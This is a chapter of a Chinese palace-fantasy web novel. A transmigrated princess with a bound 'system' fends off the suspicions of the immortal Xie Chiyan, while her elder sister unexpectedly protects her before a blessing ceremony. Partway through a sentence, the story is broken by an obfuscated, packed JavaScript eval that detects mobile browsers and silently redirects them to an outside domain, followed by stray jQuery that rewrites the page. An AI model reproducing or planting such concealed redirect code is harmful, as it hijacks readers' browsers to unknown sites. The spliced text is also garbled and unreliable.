绯棠不知谢迟砚已经起了疑心,就在这时候,走在她左侧的祁卿已经收敛好心神,一如往常那般温和地与她低声说着话。
“殿下,这谢仙君已经到了,那明日的祈福可还照常进行?”
绯棠轻轻摇头,“应是没有变动的,方才本宫去见了母皇,她并未说明日不去承业寺。”
“这样啊......”祁卿轻轻抬眼在最右侧的谢迟砚身上停顿片刻,又淡淡移开视线。“那谢仙君来得还挺巧,能一睹祈福盛况。”
这......
绯棠侧过头看向谢迟砚,明日祈福乃是钦天监择定的日子,是为了向南界的神明祈求平安。
这平安是为了她求的。
几日前钦天监的苏女官算出来她在明日有一死劫,唯有祈福之力或可破解。
这么想着,绯棠若有所思地看着谢迟砚。
谢迟砚今日到了帝都明摆着要找她,难不成她明日的死劫和他有关?
“殿下何故如此看本君?”谢迟砚目光幽幽,盯着她看。
他在探究,他似乎是发现了什么?
“!”绯棠猛地控制住面部表情。
他突然说:“殿下在害怕?”
绯棠佯装镇定,“祈福而已,本宫有何可怕的?”
“是吗?”
绯棠移开视线,面上是一副淡定自若的模样,可袖子下的手早就抠紧了。
一旁静静看着他们的祁卿,不知是否看出来他们二人间那点儿微妙的气氛,温声道:“谢仙君有所不知,明日祈福与殿下息息相关,殿下这是在为此忧心。”
谢迟砚没什么表情,不知是信他的话还是不信。“原来如此。”
绯棠只觉得心里毛毛的,总有一种不太妙的感觉。
却仍是保持着神态不漏怯。
几人心中各有各的弯弯绕绕。
一路到了长宁殿,都没人再说话。
进了殿内,绯棠就见到了意料之外的人,脚步顿了顿:“大皇姐,你怎么来了?”
寝殿内,倚靠在贵妃椅上的大皇女身着黑袍,手里把玩着白瓷茶盏,听见她进来眼皮都没抬:“回来得倒巧,再晚一步,本宫可要出宫了。”
“......大皇姐在等我?”绯棠有些不确定道。
只见到大皇女慢悠悠起身,抬眸之际目光便扫过绯棠身后,那站在殿外的谢迟砚与祁卿,一时间微微眯了眯眼,“哟,今日这长宁殿倒是热闹得很啊,让本宫猜猜,祁大公子身边站的那位就是北境来的小仙君吧?”
绯棠顺着她的视线看过去,有些拿捏不准她今日来此的目的。
却还是回她,“皇姐,这位是谢迟砚谢仙君,风衍宗主门下大弟子。”
“是吗?”大皇女若有所思地点头,“这么说来,他就是四弟口中那光风霁月的大师兄了?”
大皇女口中的四弟是四皇子陈炘,本来与绯棠是龙凤双生,只是二人降生那日生了事端。
十八年前女皇分娩时并非在皇宫,而是在西郊古寺。
那时,女皇携百官于承业寺祈福,腹中胎儿尚未足月。可那日亥时,寺庙里突然失火,火势从西边小殿迅速蔓延,女皇所在的厢房也受到牵连,甚至因着突如其来的火势动了胎气提前分娩。
最先出来的是四皇子陈炘,而五皇女或许是在胎中便养分不够,又因为在母体中停留时间太长,降生后便体弱瘦小。
火势还未平息,女皇又因接连诞下两个婴孩晕厥了过去,承业寺里更是乱成了一片。
谁都没注意到小小的五皇女已经在襁褓中咽了气,而绯棠就是在那时候穿越过来的。
那时候她的魂体还很强大,可就是因为这具躯体生机尽断只能用她魂体中的能量来维持生气。若是寻常人即便是穿越过来也是没法活的。为了维持生命,能量只出不进的绯棠才越来越虚弱,后才被断定活不过成年。
而她的胞兄在火灾后便被女皇送去了天玄宗,回帝都的次数屈指可数。
或许是深信她活不过十八岁的传言,今年皇兄便回帝都待了月余,与他们提起在天玄宗的日子时提到最多的,就是“光风霁月的大师兄”。
听大皇女这样说,绯棠轻轻扫了眼看不出是什么情绪的谢迟砚,点了点头,“皇兄说的便是谢仙君。”
“那这么说来,四弟说得倒是没错。这位谢仙君确实有几分仙人之资。”
“不过嘛......”大皇女不知是怎的故意停顿了片刻,又意味深长地看向依旧笑得温和的祁卿,“咱们祁大公子论起容色与才情亦是不遑多让,五妹可别因为和这位小仙君一路北上去往天玄宗就移情别恋了,不然我们祁大公子可是要伤心的。”
移情别恋?
绯棠听着这话脑袋就疼,一时间有些心情复杂地道:“皇姐说笑了。”
“说笑?本宫从不与人说笑。”
不过大皇女也没想与绯棠说这些风流事,她今日来此可不是说这些的,说话间就从袖中摸出个锦囊扔给绯棠:“收着。”
绯棠接住朝她飞过来的红色锦囊,这小玩意看起来很是精巧,通体红色,上面还绣着金线祥云,小巧又精致好看。
不过这东西是和她关系不算好的大皇女给的,绯棠一时间有些不确定地看过去:“皇姐这是何意?”
“出宫后危险重重,这里面是通关文牒,本宫让人改了籍贯。别让人知道你是宫里出去的,能少些是非。”
绯棠:“?”
她捏着手中的锦囊,抬头看大皇女,眼里满是疑惑,这行为和话里面的意思是......
大皇姐想帮她?
什么时候她这大皇姐这么好了?
“长宁这是什么眼神?”大皇女瞪眼,没好气道,“再怎么说你也是本宫的亲妹妹,本宫还能害了你不成?”
见绯棠一双美眸无辜地望着自己,看着那张脸,大皇女心里的火气莫名就灭了,嘟囔道:“...算了,你向来是个傻的,连去个青楼都能被里面的人利用,本宫还能对你有什么期待。”
“等去了北境把病治好,本宫护你后半生无忧便是。”
绯棠眨巴着眼睛,轻轻“啊?”了一声,声音带着点茫然。
大皇姐对她的态度怎么变得这么快?
[宿主,我还没有给你说,在你第一次入梦成功后,这具躯体已经和你的灵魂相适配了。现在你的魅魔能力也能在这具躯体上显现出来,也就是说你现在天然地能让其他人对你产生好感。]
绯棠猛地瞪大了眼睛,怪不得连一向和她关系不怎么好的大皇姐都转变了态度,原来是因为这!
她这一会儿茫然,一会儿恍然大悟的样子落在大皇女眼中,让她再次皱起眉头,“啊什么啊?你这样子离开帝都真的能行吗?”
“对了,本宫今日来此是为了明日的祈福。明日去承业寺你跟紧我,莫要真同钦天监女官口中说的那样,在明日出了事,连北境都去不了了。”
绯棠微微转了转眼睛,她其实不是很明白,这祈福之力当真那么厉害能让她度过死劫?
那几日前她还没绑定系统的时候怎么不用祈福之力去救她?
难道是因为导致她死的原因不一样?
大皇女见她眼睛一转,只以为她又在想什么坏主意,连忙瞪她,“听见没有?少将你那些撒娇躲懒的招数对本宫,本宫可不是母皇,会吃你那一套。”
绯棠抿了抿唇,她哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544199|186710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
儿想什么坏主意了。
“皇姐......”却只能乖乖应道:“我知道了。”
大皇女这才满意地点头,“行了,本宫这就要回府了,你且放宽心,会没事的。”
绯棠看着一边说话一边走出去的大皇女,目光有些复杂。
还是应声:“知道了。”
大皇女朝她摆了摆手,路过祁卿和谢迟砚时,意味深长地扫了眼祁卿,随后淡定移开视线离开了。
人走了。
祁卿和谢迟砚依旧站在殿外,绯棠看着他们只觉得头疼。
“你们......”她想寻个由头将两人赶出去她的长宁殿。
“殿下。”
恰在这时候,一直安静站着的祁卿突然说话,“卿在玖月楼设了宴,殿下可否与卿一同前往?”
玖月楼?
绯棠敏锐地雷达再一次响了起来,她好像在梦里面和谢迟砚提到过玖月楼!
她的脸不可避免地僵了僵,刚要拒绝,就看见祁卿看向了谢迟砚,“如今长宁殿上下正在为殿下出行一事做准备,怕是没法招待谢仙君,仙君也一起吧。”
“!”
绯棠连忙道:“谢仙君今日才到的帝都,一路舟车劳顿,不如......”
就留在皇宫休息吧。
谢迟砚却不等她说完话就道:“那便多谢祁大公子了。”
“?”绯棠嘴里的话猛地咽了回去。
谢迟砚要和他们一起去玖月楼!
谢迟砚倏地抬眸盯着她看,“殿下方才想对本君说什么?”
那眼神沉沉,似乎带着些危险性,看得绯棠眉心一跳,她连忙收敛心神,“没什么。”
“是吗?”谢迟砚眼眸微动间追问,“可为何殿下看向本君的眼神有些......欲言又止呢。而且,本君看着殿下也有些似曾相识之感。”
“怎......怎会?”绯棠脸上那得体的笑差点没控制住,“谢仙君许是看错了,本宫不曾出过帝都,谢仙君在北境,本宫如何能与你相识?”
谢迟砚步步紧逼,“此间世界多了诡谲奇幻之事,或许不在现实世界也能相见呢?”
他这话只差直接挑明了!
绯棠手心都快抠破了。
他认出来!
不能吧?
不,不能慌......
这里可是南界。
对了,这里是南界啊,对任何超出于凡人的力量都会有压制的南界!
他一定没有确定,他是在诈她!
瞬息之间,绯棠松开了紧紧抠着的手,面上并无不妥,依旧挂着得体的笑,“仙君说笑了,诡谲奇幻之事在我南界怎会存在?”
谢迟砚本是一直盯着她看,细细捕捉她的异样,如今听见她这样说很爽快就移开视线,不再追问。
绯棠没法从他那张面无表情的脸上看出来是信还是不信,可他这不显山不露色的,就像是一时兴起诈她一诈,没成功也没事,他又沉寂下来,等着找机会又去搞她心态!
她之前怎么没发现谢迟砚这么狗呢?
祁卿与绯棠本就是青梅竹马,自小一起长大的,他了解她比了解他自己还多,如今见她神色有异,眸光暗了暗。
不过他不认为绯棠和谢迟砚是旧识,只是以为绯棠真的要和她之前说的那样,要“喜欢上北境的俊美儿郎”。
“殿下!”
他加大音量去吸引绯棠的视线。
“怎么了?”绯棠如他所愿地看向他。
祁卿见到她又重新看过来,心中的阴暗才重新收敛。
他朝着她笑得温和好看,“既然要一同去玖月楼,如今天色也不早了,可以走了。”